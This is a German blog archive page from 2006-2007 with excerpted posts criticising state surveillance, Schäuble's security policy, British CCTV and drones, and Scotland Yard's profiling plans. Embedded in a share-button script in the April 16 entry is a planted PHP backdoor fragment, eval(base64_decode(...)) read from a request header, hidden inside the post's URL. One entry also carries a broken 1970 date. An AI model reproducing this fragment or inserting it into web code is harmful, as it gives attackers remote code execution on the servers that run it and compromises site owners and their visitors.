Sonntag, Juni 3rd, 2007
Die Verfassung würde der Lebenswirklichkeit angepasst, wie schon so oft. Lösen Sie sich von der Vorstellung, eine Verfassungsänderung sei etwas Verwerfliches. Das Gegenteil ist der Fall. Das ist notwendig. Sonst wäre die Verfassung starr. Früher gab es keine Telefone, also auch keine Telefonüberwachung. Heute nutzen Verbrecher Computer, also müssen wir ...
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Freitag, Juni 1st, 2007
Manchmal rächt es sich, dass die Aneinanderreihung von Superlativen stilistisch schlecht ist. Denn manchmal wäre sie notwendig.
So muss ich ehrlich gestehen, dass ich für die Ideen die der Bundesrat heute zur Telekommunikationsüberwachung vorgelegt hat, keine Worte mehr finde, diese treffend zu kommentieren.
Ohne irgendwelches Verantwortungsbewusstsein wird der Überwachungsstaat vorangetrieben:
- Da wird ...
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Sonntag, Mai 27th, 2007
Großbritannien rüstet weiter auf. Was mit der irrationalen Angst vor Kriminalität begann, schwenkt inzwischen um in einer Moraloffensive gegen "unsoziales Verhalten".
So haben die Briten innerhalb der letzten Wochen zwei neue "Errungenschaften" zu vermelden. Der erste ist eine ferngesteuerte Drohne aus deutscher Fertigung, die aus einer Höhe von bis zu 500 ...
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Montag, Mai 21st, 2007
Leider keine Satire... Frau Merkel wünscht sich scheinbar Zustände wie in Großbritannien. Und das Volk klatscht auch noch Beifall.
[youtube zicgrpSYSYQ]
(Dieses Video wird direkt von Youtube.com eingebunden und unterliegt den entsprechenden Lizenzbedingungen)
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Montag, April 16th, 2007
Wolfgang Schäubles neuester Coup ist die Schaffung eines neuen Sicherheitsbegriffes, und die Einebnung zwischen äußerer und innerer Sicherheit...SHARETHIS.addEntry({ title: "Kurz notiert: Schäuble schäubelt wieder", url: "http://www.lawlita.com/2007/04/16/kurz-notiert-schaeuble-schaeubelt-wieder/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" });
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Dienstag, November 28th, 2006
Prävention durch Profiling: Scotland Yard plant Datenbank der künftigen Mörder - SPIEGEL ONLINE
Scotland Yard will potentielle Mörder und Vergewaltiger erkennen, bevor
sie zum ersten Mal zuschlagen. Britische Polizeipsychologen halten es
für möglich, eine Datenbank mit möglichen Tätern aufzubauen.
Funktionieren tut das vermutlich durchaus, Scotland Yard dürfte eine ähnliche Methode verwenden wie jedes Institut ...
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Donnerstag, Januar 1st, 1970
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Der Politikwissenschaftler Marcus Hawel (Universität Hannover) schaut unter die Oberfläche. Dort verdunkelt sich der demokratische Rechtsstaat und ein antidemokratischer Dezisionismus im Geiste der "konservativen Revolution" eines Carl Schmitt feiert fröhliche Urstände.
Hawel beschreibt auf hohem Niveau und gut recherchiert, welche wissenschaftlichen Ideen im Hintergrund von Wolfgang Schäuble, Otto Depenheuer, ...
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